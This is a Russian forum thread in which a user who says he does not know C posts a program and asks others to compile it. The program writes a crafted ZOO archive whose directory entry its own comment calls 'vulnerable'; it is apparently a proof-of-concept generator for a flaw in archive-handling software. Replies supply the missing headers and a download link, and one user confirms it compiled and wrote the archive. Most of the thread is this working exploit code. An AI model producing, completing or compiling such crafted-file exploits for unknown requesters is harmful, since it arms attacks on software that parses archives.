Пожалуйста, скомпильте прогу

Тема в разделе "LANGS.C", создана пользователем GeNeZiS, 14 май 2008.

  1. GeNeZiS

    GeNeZiS New Member

    Публикаций:
    0
    Регистрация:
    14 сен 2006
    Сообщения:
    135
    Доброго времени суток.
    Очень прошу мне помочь.
    Имеется код, который мне очень нужно скомпилировать.
    С данным языком вообще не знаком.
    вот код:
    Код (Text):
    1. #include
    2. #include
    3. #include
    4.  
    5. // Structure of a ZOO header
    6.  
    7. #define ZOO_HEADER_SIZE 0x0000002a
    8.  
    9. #define ZH_TEXT 0
    10. #define ZH_TAG 20
    11. #define ZH_START_OFFSET 24
    12. #define ZH_NEG_START_OFFSET 28
    13. #define ZH_MAJ_VER 32
    14. #define ZH_MIN_VER 33
    15. #define ZH_ARC_HTYPE 34
    16. #define ZH_ARC_COMMENT 35
    17. #define ZH_ARC_COMMENT_LENGTH 39
    18. #define ZH_VERSION_DATA 41
    19.  
    20.  
    21. #define D_DIRENTRY_LENGTH 56
    22.  
    23. #define D_TAG 0
    24. #define D_TYPE 4
    25. #define D_PACKING_METHOD 5
    26. #define D_NEXT_ENTRY 6
    27. #define D_OFFSET 10
    28. #define D_DATE 14
    29. #define D_TIME 16
    30. #define D_FILE_CRC 18
    31. #define D_ORIGINAL_SIZE 20
    32. #define D_SIZE_NOW 24
    33. #define D_MAJ_VER 28
    34. #define D_MIN_VER 29
    35. #define D_DELETED 30
    36. #define D_FILE_STRUCT 31
    37. #define D_COMMENT_OFFSET 32
    38. #define D_COMMENT_SIZE 36
    39. #define D_FILENAME 38
    40. #define D_VAR_DIR_LEN 51
    41. #define D_TIMEZONE 53
    42. #define D_DIR_CRC 54
    43. #define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 )
    44. #define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 )
    45. #define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 )
    46.  
    47.  
    48. void put_byte (char *ptr, unsigned char data) {
    49. *ptr = data;
    50. }
    51.  
    52. void put_word (char *ptr, unsigned short data) {
    53. put_byte (ptr, data);
    54. put_byte (ptr + 1, data >> 8);
    55. }
    56.  
    57. void put_longword (char *ptr, unsigned long data) {
    58. put_byte (ptr, data);
    59. put_byte (ptr + 1, data >> 8);
    60. put_byte (ptr + 2, data >> 16);
    61. put_byte (ptr + 3, data >> 24);
    62. }
    63.  
    64. FILE * open_file (char *filename) {
    65.  
    66. FILE *fp;
    67.  
    68. fp = fopen ( filename , "w" );
    69.  
    70. if (!fp) {
    71. perror ("Cant open file");
    72. exit (1);
    73. }
    74.  
    75. return fp;
    76. }
    77.  
    78. void usage (char *progname) {
    79.  
    80. printf ("\nTo use:\n");
    81. printf ("%s \n\n", progname);
    82.  
    83. exit (1);
    84. }
    85.  
    86. int main (int argc, char *argv[]) {
    87. FILE *fp;
    88. char *hdr = (char *) malloc (4096);
    89. char *filename = (char *) malloc (256);
    90. int written_bytes;
    91. int total_size;
    92.  
    93. if ( argc != 2) {
    94. usage ( argv[0] );
    95. }
    96.  
    97. strncpy (filename, argv[1], 255);
    98.  
    99. if (!hdr || !filename) {
    100. perror ("Error allocating memory");
    101. exit (1);
    102. }
    103.  
    104. memset (hdr, 0x00, 4096);
    105.  
    106. // Build a ZOO header
    107. memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18);
    108. put_longword (hdr + ZH_TAG, 0xfdc4a7dc);
    109. put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
    110. put_longword (hdr + ZH_NEG_START_OFFSET,
    111. (ZOO_HEADER_SIZE) * -1);
    112. put_byte (hdr + ZH_MAJ_VER, 2);
    113. put_byte (hdr + ZH_MIN_VER, 0);
    114. put_byte (hdr + ZH_ARC_HTYPE, 1);
    115. put_longword (hdr + ZH_ARC_COMMENT, 0);
    116. put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0);
    117. put_byte (hdr + ZH_VERSION_DATA, 3);
    118.  
    119. // Build vulnerable direntry struct
    120. put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
    121. put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 1);
    122. put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0);
    123. put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a);
    124. put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71);
    125. put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
    126. put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
    127. put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0);
    128. put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0);
    129. put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0);
    130. put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1);
    131. put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0);
    132. put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0);
    133. put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0);
    134. put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0);
    135. put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0);
    136. memcpy (hdr + ZOO_HEADER_SIZE + D_FILENAME,
    137. "AAAAAAAA.AAA", 13);
    138.  
    139. total_size = ZOO_HEADER_SIZE + 51;
    140.  
    141. fp = open_file (filename);
    142.  
    143. if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) {
    144. printf ("The file has been written\n");
    145. } else {
    146. printf ("Cant write to the file\n");
    147. exit (1);
    148. }
    149.  
    150. fclose (fp);
    151.  
    152. return 0;
    153. }
    Помогите пожалуйста.
    Я не думаю, что у вас это займет много времени.
    Благодарю за внимание.
     
  2. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
  3. UTeX

    UTeX New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2007
    Сообщения:
    584
    http://www.speedyshare.com/153597366.html

    вобщем добавь еще

    Код (Text):
    1. #include<windows.h>
    2. #include<stdio.h>
    вместо

    Код (Text):
    1. #include
    2. #include
    3. #include
    [added] вот так вот)).. Ну главное, что помогли.
     
  4. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    UTeX
    наверно там было всё-таки так
    Код (Text):
    1. #include <stdlib.h>
    2. #include <string.h>
    3. #include <stdio.h>
    :)
    этож для чистоты си
    а виндовс.h делает непортабельным ;)
     
  5. UTeX

    UTeX New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2007
    Сообщения:
    584
    wsd
    непортабельным?
    ну ладно, ладно, не ругайся )
     
  6. Colibri

    Colibri New Member

    Публикаций:
    0
    Регистрация:
    8 май 2008
    Сообщения:
    117
    а принтф - это разве не АПИшка виндовс?
     
  7. _basmp_

    _basmp_ New Member

    Публикаций:
    0
    Регистрация:
    10 июл 2005
    Сообщения:
    2.939
    Colibri
    Нет. Это апишка libc и в msvcrt она тоже есть (вроде).
     
  8. device

    device Reflection

    Публикаций:
    0
    Регистрация:
    26 апр 2007
    Сообщения:
    1.198
    Адрес:
    RF
    В Linux откомпилил - архив ZOO записал